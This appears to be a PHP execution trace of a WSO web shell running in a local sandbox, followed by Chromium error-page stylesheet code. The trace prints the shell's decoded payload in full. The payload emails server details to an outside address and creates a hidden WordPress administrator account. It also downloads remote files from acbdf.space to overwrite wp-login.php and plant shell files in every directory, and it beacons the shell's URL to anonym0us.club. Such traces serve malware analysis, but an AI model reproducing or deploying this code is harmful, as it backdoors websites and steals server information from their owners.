Excuting: $ip_remote - Time: $time_shell";\n$header = "From: $from_shellcode\\r\\nReply-to: $from_shellcode";\n@mail($to_email, $server_mail, $linkcr, $header);\n ?><?php\n$kime = "byhero44@gmail.com";\n$baslik = "sym404 shell 20203";\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\nmail($kime, $baslik, $EL_MuHaMMeD);\n?>\n<?php\n$document_root = $_SERVER["DOCUMENT_ROOT"];\n$document_root_file = dirname(__FILE__);\n$wp_detect = 0;\nif(file_exists($document_root.\'/wp-load.php\'))\n{ \n include $document_root.\'/wp-load.php\';\n $wp_detect = 1;\n}else\n{\n $prefix = count(@explode(\'/\', $document_root_file));\n $a = \'\';\n for($i = 0; $i<$prefix; $i++)\n {\n $a = $a.\'../\';\n if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\n {\n include $document_root_file.\'/\'.$a.\'wp-load.php\';\n $wp_detect = 1;\n break;\n }\n }\n}\n\nif($wp_detect == 1)\n{\n //Header Yazdırma\n $wp_theme_dir = get_template_directory();\n $header_file = $wp_theme_dir.\'/headers.php\';\n $header_content = file_get_contents($header_file);\n $append = http_get(\'https://acbdf.space/txt/seoco.txt\');\n if(!preg_match(\'#\'.$append.\'#\', $header_content))\n { \n\t $new_content = $append.$header_content;\n\t $open_file = fopen($header_file, \'w\');\n\t fwrite($open_file, $new_content);\n\t fclose($open_file);\n }\n //Header Yazdırma \n \n // shell Ekleme\n $user = \'webmaster\';\n $pass = \'$P$BxJON2B3\';\n $email = \'byhero44@gmail.com\';\n if (!username_exists( $user ) && !email_exists( $email ) ) {\n $user_id = wp_create_user( $user, $pass, $email );\n $user = new WP_User( $user_id );\n $user->set_role( \'administrator\' );\n } \n // shell Ekleme\n \n // Wp Login Yazma.\n $wp_login = ABSPATH.\'/wp-login.php\';\n $login = http_get(\'https://acbdf.space/txt/seo.txt\');\n $open_login = fopen($wp_login, \'w\');\n fwrite($open_login, $login);\n fclose($open_login);\n // Wp Login Yazma.\n}\n\n\n// Shell Yazma\n$code = http_get(\'https://acbdf.space/txt/min.txt\');\n$wp_code = $document_root.\'/wp-clon.php\';\n$open_code = fopen($wp_code, \'w\');\nfwrite($open_code, $code);\nfclose($open_code);\n// Shell Yazma\n\n// Makale Yazma\n$makale = http_get(\'https://acbdf.space/txt/phpinfo.txt\');\n$wp_makale = $document_root.\'/phpinfo.php\';\n$open_makale = fopen($wp_makale, \'w\');\nfwrite($open_makale, $makale);\nfclose($open_makale);\n// Makale Yazma\n\n\n// Klasörlere Yazma\n$directories = expandDirectories($document_root);\n$css = http_get(\'https://acbdf.space/txt/wp.txt\');\nforeach($directories as $dir)\n{\n\tif(!preg_match(\'#wp-content#\', $dir))\n\t{\n\t $css_file = $dir.\'/wp-inda.php\';\n\t $open_css = fopen($css_file, \'w\');\n\t fwrite($open_css, $css);\n\t fclose($open_css);\n }\n}\n// Klasörlere Yazma\n\nfunction expandDirectories($base_dir) {\n $directories = array();\n foreach(scandir($base_dir) as $file) {\n if($file == \'.\' || $file == \'..\') continue;\n $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\n if(is_dir($dir)) {\n $directories []= $dir;\n $directories = array_merge($directories, expandDirectories($dir));\n }\n }\n return $directories;\n}\nfunction http_get($url)\n{\n\t$im = curl_init($url);\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\n\treturn curl_exec($im);\n\tcurl_close($im);\n}\n?>' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 0
8 37 0 0.022523 1829744 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 1 'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ=='
8 37 1 0.022546 1829840
8 37 R 'https://anonym0us.club/l-'
8 38 0 0.022564 1829808 GetIP 1 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 0
9 39 0 0.022578 1829808 getenv 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 3 1 'HTTP_CLIENT_IP'
9 39 1 0.022599 1829840
9 39 R FALSE
9 40 0 0.022614 1829808 getenv 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 5 1 'HTTP_X_FORWARDED_FOR'
9 40 1 0.022630 1829840
9 40 R FALSE
9 41 0 0.022644 1829808 getenv 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 12 1 'REMOTE_ADDR'
9 41 1 0.022661 1829880
9 41 R '127.0.0.1'
8 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 12 $ip = '127.0.0.1'
8 38 1 0.022690 1829848
8 38 R '127.0.0.1'
8 42 0 0.022706 1829872 base64_encode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 1 'http://localhost/uploads/wso.php'
8 42 1 0.022722 1829984
8 42 R 'aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA='
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 $x = 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA='
8 43 0 0.022757 1829856 function_exists 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 17 1 'curl_init'
8 43 1 0.022773 1829896
8 43 R TRUE
8 44 0 0.022786 1829856 curl_init 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 0
8 44 1 0.022808 1830768
8 44 R resource(3) of type (curl)
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 $ch = resource(3) of type (curl)
8 45 0 0.022837 1830768 curl_setopt 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 3 resource(3) of type (curl) 10002 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA='
8 45 1 0.022859 1830864
8 45 R TRUE
8 46 0 0.022872 1830768 curl_setopt 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 3 resource(3) of type (curl) 19913 TRUE
8 46 1 0.022889 1830864
8 46 R TRUE
8 47 0 0.022902 1830768 curl_exec 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 1 resource(3) of type (curl)
8 47 1 0.599030 1830800
8 47 R ''
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 $gitt = ''
8 48 0 0.599093 1830768 curl_close 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 1 resource(3) of type (curl)
8 48 1 0.599839 1829912
8 48 R NULL
8 49 0 0.599861 1829880 file_get_contents 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 21 1 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA='
8 49 1 1.184047 1831936
8 49 R ''
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 21 $gitt = ''
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 27 $auth_pass = 'a6d13df8a46cf713e5cda6a6c0d043bf'
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 28 $color = '#df5'
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 29 $default_action = 'FilesMan'
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 30 $default_use_ajax = TRUE
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 31 $default_charset = 'Windows-1251'
7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 34 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
8 50 0 1.184254 1831896 implode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 35 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
8 50 1 1.184277 1832040
8 50 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
8 51 0 1.184295 1831976 preg_match 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 35 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1'
8 51 1 1.184316 1832040
8 51 R 0
8 52 0 1.184340 1831896 ini_set 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 41 2 'error_log' NULL
8 52 1 1.184358 1831968
8 52 R ''
8 53 0 1.184372 1831896 ini_set 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 42 2 'log_errors' 0
8 53 1 1.184397 1831968
8 53 R '1'
8 54 0 1.184411 1831896 ini_set 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 43 2 'max_execution_time' 0
8 54 1 1.184427 1832000
8 54 R '30'
8 55 0 1.184441 1831896 set_time_limit 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 44 1 0
8 55 1 1.184494 1831960
8 55 R FALSE
7 36 1 1.184518 1834992
6 30 1 1.184549 1760976
5 26 1 1.184558 1660616
4 14 1 1.184566 1393752
3 11 1 1.184573 1389776
2 8 1 1.184594 1386872
1 3 1 1.184601 1384024
1 56 0 1.184609 1384056 Error->__toString 0 Unknown 0 0
2 57 0 1.184622 1384136 Error->getTraceAsString 0 Unknown 0 0
2 57 1 1.184637 1388232
2 57 R '#0 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4) : eval()\'d code(3): eval()\n#1 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4): eval()\n#2 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2): eval()\n#3 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1): eval()\n#4 /var/www/html/uploads/wso.php(9) : eval()\'d code'
1 56 1 1.184660 1388528
1 56 R 'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4) : eval()\'d code(3) : eval()\'d code:45\nStack trace:\n#0 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4) : eval()\'d code(3): eval()\n#1 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4): eval()\n#2 /var/ww'
1.184719 1309184
TRACE END [2023-02-13 02:20:21.583983]
<html dir="ltr" lang="en"><head>
<meta charset="utf-8">
<meta name="color-scheme" content="light dark">
<meta name="theme-color" content="#fff">
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no">
<title>localhost</title>
<style>/* Copyright 2017 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
a {
color: var(--link-color);
}
body {
--background-color: #fff;
--error-code-color: var(--google-gray-700);
--google-blue-100: rgb(210, 227, 252);
--google-blue-300: rgb(138, 180, 248);
--google-blue-600: rgb(26, 115, 232);
--google-blue-700: rgb(25, 103, 210);
--google-gray-100: rgb(241, 243, 244);
--google-gray-300: rgb(218, 220, 224);
--google-gray-500: rgb(154, 160, 166);
--google-gray-50: rgb(248, 249, 250);
--google-gray-600: rgb(128, 134, 139);
--google-gray-700: rgb(95, 99, 104);
--google-gray-800: rgb(60, 64, 67);
--google-gray-900: rgb(32, 33, 36);
--heading-color: var(--google-gray-900);
--link-color: rgb(88, 88, 88);
--popup-container-background-color: rgba(0,0,0,.65);
--primary-button-fill-color-active: var(--google-blue-700);
--primary-button-fill-color: var(--google-blue-600);
--primary-button-text-color: #fff;
--quiet-background-color: rgb(247, 247, 247);
--secondary-button-border-color: var(--google-gray-500);
--secondary-button-fill-color: #fff;
--secondary-button-hover-border-color: var(--google-gray-600);
--secondary-button-hover-fill-color: var(--google-gray-50);
--secondary-button-text-color: var(--google-gray-700);
--small-link-color: var(--google-gray-700);
--text-color: var(--google-gray-700);
background: var(--background-color);
color: var(--text-color);
word-wrap: break-word;
}
.nav-wrapper .secondary-button {
background: var(--secondary-button-fill-color);
border: 1px solid var(--secondary-button-border-color);
color: var(--secondary-button-text-color);
float: none;
margin: 0;
padding: 8px 16px;
}
.hidden {
display: none;
}
html {
-webkit-text-size-adjust: 100%;
font-size: 125%;
}
.icon {
background-repeat: no-repeat;
background-size: 100%;
}
@media (prefers-color-scheme: dark) {
body {
--background-color: var(--google-gray-900);
--error-code-color: var(--google-gray-500);
--heading-color: var(--google-gray-500);
--link-color: var(--google-blue-300);
--primary-button-fill-color-active: rgb(129, 162, 208);
--primary-button-fill-color: var(--google-blue-300);
--primary-button-text-color: var(--google-gray-900);
--quiet-background-color: var(--background-color);
--secondary-button-border-color: var(--google-gray-700);
--secondary-button-fill-color: var(--google-gray-900);
--secondary-button-hover-fill-color: rgb(48, 51, 57);
--secondary-button-text-color: var(--google-blue-300);
--small-link-color: var(--google-blue-300);
--text-color: var(--google-gray-500);
}
}
</style>
<style>/* Copyright 2014 The Chromium Authors
Use of this source code is governed by a BSD-style license that can be
found in the LICENSE file. */
button {
border: 0;
border-radius: 4px;
box-sizing: border-box;
color: var(--primary-button-text-color);
cursor: pointer;
float: right;
font-size: .875em;
margin: 0;
padding: 8px 16px;
transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
user-select: none;
}
[dir='rtl'] button {
float: left;
}
.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
background: var(--primary-button-fill-color);
}
button:active {
background: var(--primary-button-fill-color-active);
outline: 0;
}
#debugging {
display: inline;
overflow: auto;
}
.debugging-content {
line-height: 1em;
margin-bottom: 0;
margin-top: 1em;
}
.debugging-content-fixed-width {
display: block;
font-family: monospace;
font-size: 1.2em;
margin-top: 0.5em;
}
.debugging-title {
font-weight: bold;
}
#details {
margin: 0 0 50px;
}
#details p:not(:first-of-type) {
margin-top: 20px;
}
.secondary-button:active {
border-color: white;
box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
0 2px 6px 2px rgba(60, 64, 67, .15);
}
.secondary-button:hover {
background: var(--secondary-button-hover-fill-color);
border-color: var(--secondary-button-hover-border-color);
text-decoration: none;
}
.error-code {
color: var(--error-code-color);
font-size: .8em;
margin-top: 12px;
text-transform: uppercase;
}
#error-debugging-info {
font-size: 0.8em;
}
h1 {
color: var(--heading-color);
font-size: 1.6em;
font-weight: normal;
line-height: 1.25em;
margin-bottom: 16px;
}
h2 {
font-size: 1.2em;
font-weight: normal;
}
.icon {
height: 72px;
margin: 0 0 40px;
width: 72px;
}
input[type=checkbox] {
opacity: 0;
}
input[type=checkbox]:focus ~ .checkbox::after {
outline: -webkit-focus-ring-color auto 5px;
}
.interstitial-wrapper {
box-sizing: border-box;
font-size: 1em;
line-height: 1.6em;
margin: 14vh auto 0;
max-width: 600px;
width: 100%;
}
#main-message > p {
display: inline;
}
#extended-reporting-opt-in {
font-size: .875em;
margin-top: 32px;
}
#extended-reporting-opt-in label {
display: grid;
grid-template-columns: 1.8em 1fr;
position: relative;
}
#enhanced-protection-message {
border-radius: 4px;
font-size: 1em;
margin-top: 32px;
padding: 10px 5px;
}
#enhanced-protection-message label {
display: grid;
grid-template-columns: 2.5em 1fr;
position: relative;
}
#enhanced-protection-message div {
margin: 0.5em;
}
#enhanced-protection-message .icon {
height: 1.5em;
vertical-align: middle;
width: 1.5em;
}
.nav-wrapper {
margin-top: 51px;
}
.nav-wrapper::after {
clear: both;
content: '';
display: table;
width: 100%;
}
.small-link {
color: var(--small-link-color);
font-size: .875em;
}
.checkboxes {
flex: 0 0 24px;
}
.checkbox {
--padding: .9em;
background: transparent;
display: block;
height: 1em;
left: -1em;
padding-inline-start: var(--padding);
position: absolute;
right: 0;
top: -.5em;
width: 1em;
}
.checkbox::after {
border: 1px solid white;
border-radius: 2px;
content: '';
height: 1em;
left: var(--padding);
position: absolute;
top: var(--padding);
width: 1em;
}
.checkbox::before {
background: transparent;
border: 2px solid white;
border-inline-end-width: 0;
border-top-width: 0;
content: '';
height: .2em;
left: calc(.3em + var(--padding));
opacity: 0;
position: absolute;
top: calc(.3em + var(--padding));
transform: rotate(-45deg);
width: .5em;
}
input[type=checkbox]:checked ~ .checkbox::before {
opacity: 1;
}
#recurrent-error-message {
background: #ededed;
border-radius: 4px;
margin-bottom: 16px;
margin-top: 12px;
padding: 12px 16px;
}
.showing-recurrent-error-message #extended-reporting-opt-in {
margin-top: 16px;
}
.showing-recurrent-error-message #enhanced-protection-message {
margin-top: 16px;
}
@media (max-width: 700px) {
.interstitial-wrapper {
padding: 0 10%;
}
#error-debugging-info {
overflow: auto;
}
}
@media (max-width: 420px) {
button,
[dir='rtl'] button,
.small-link {
float: none;
font-size: .825em;
font-weight: 500;
margin: 0;
width: 100%;
}
button {
padding: 16px 24px;
}
#details {
margin: 20px 0 20px 0;
}
#details p:not(:first-of-type) {
margin-top: 10px;
}
.secondary-button:not(.hidden) {
display: block;
margin-top: 20px;
text-align: center;
width: 100%;
}
.interstitial-wrapper {
padding: 0 5%;
}
#extended-reporting-opt-in {
margin-top: 24px;
}
#enhanced-protection-message {
margin-top: 24px;
}
.nav-wrapper {
margin-top: 30px;
}
}
/**
* Mobile specific styling.
* Navigation buttons are anchored to the bottom of the screen.
* Details message replaces the top content in its own scrollable area.
*/
@media (max-width: 420px) {
.nav-wrapper .secondary-button {
border: 0;
margin: 16px 0 0;
margin-inline-end: 0;
padding-bottom: 16px;
padding-top: 16px;
}
}
/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
(min-height: 401px),
(min-width: 421px) and (min-height: 240px) and
(max-height: 560px) {
body .nav-wrapper {
background: var(--background-color);
bottom: 0;
box-shadow: 0 -12px 24px var(--background-color);
left: 0;
margin: 0 auto;
max-width: 736px;
padding-inline-end: 24px;
padding-inline-start: 24px;
position: fixed;
right: 0;
width: 100%;
z-index: 2;
}
.interstitial-wrapper {
max-width: 736px;
}
#details,
#main-content {
padding-bottom: 40px;
}
#details {
padding-top: 5.5vh;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
body {
margin: 0 auto;
}
button,
[dir='rtl'] button,
button.small-link,
.nav-wrapper .secondary-button {
font-family: Roboto-Regular,Helvetica;
font-size: .933em;
margin: 6px 0;
transform: translatez(0);
}
.nav-wrapper {
box-sizing: border-box;
padding-bottom: 8px;
width: 100%;
}
#details {
box-sizing: border-box;
height: auto;
margin: 0;
opacity: 1;
transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
}
#details.hidden,
#main-content.hidden {
height: 0;
opacity: 0;
overflow: hidden;
padding-bottom: 0;
transition: none;
}
h1 {
font-size: 1.5em;
margin-bottom: 8px;
}
.icon {
margin-bottom: 5.69vh;
}
.interstitial-wrapper {
box-sizing: border-box;
margin: 7vh auto 12px;
padding: 0 24px;
position: relative;
}
.interstitial-wrapper p {
font-size: .95em;
line-height: 1.61em;
margin-top: 8px;
}
#main-content {
margin: 0;
transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
}
.small-link {
border: 0;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
margin: 0;
}
}
@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
@media (min-height: 400px) and (orientation:portrait) {
.interstitial-wrapper {
margin-bottom: 145px;
}
}
@media (min-height: 299px) {
.nav-wrapper {
padding-bottom: 16px;
}
}
@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
.extended-reporting-has-checkbox #details {
padding-bottom: 80px;
}
}
@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
(orientation: portrait) {
.interstitial-wrapper {
margin-top: 7vh;
}
}
@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
(max-height: 239px) and (orientation: landscape),
(max-width: 419px) and (max-height: 399px) {
.interstitial-wrapper {
display: flex;
flex-direction: column;
margin-bottom: 0;
}
#details {
flex: 1 1 auto;
order: 0;
}
#main-content {
flex: 1 1 auto;
order: 0;
}
.nav-wrapper {
flex: 0 1 auto;
margin-top: 8px;
order: 1;
padding-inline-end: 0;
padding-inline-start: 0;
position: relative;
width: 100%;
}
button,
.nav-wrapper .secondary-button {
padding: 16px 24px;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 239px) and (orientation: portrait) {
.nav-wrapper {
padding-inline-end: 0;
padding-inline-start: 0;
}
}
</style>
<style>/* Copyright 2013 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
display: none;
}
/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
display: none;
}
h1 {
margin-top: 0;
word-wrap: break-word;
}
h1 span {
font-weight: 500;
}
a {
text-decoration: none;
}
.icon {
-webkit-user-select: none;
display: inline-block;
}
.icon-generic {
/* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
* renderer process, so embed the resource manually. */
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}
.icon-offline {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
position: relative;
}
.icon-disabled {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
width: 112px;
}
.hidden {
display: none;
}
#suggestions-list a {
color: var(--google-blue-600);
}
#suggestions-list p {
margin-block-end: 0;
}
#suggestions-list ul {
margin-top: 0;
}
.single-suggestion {
list-style-type: none;
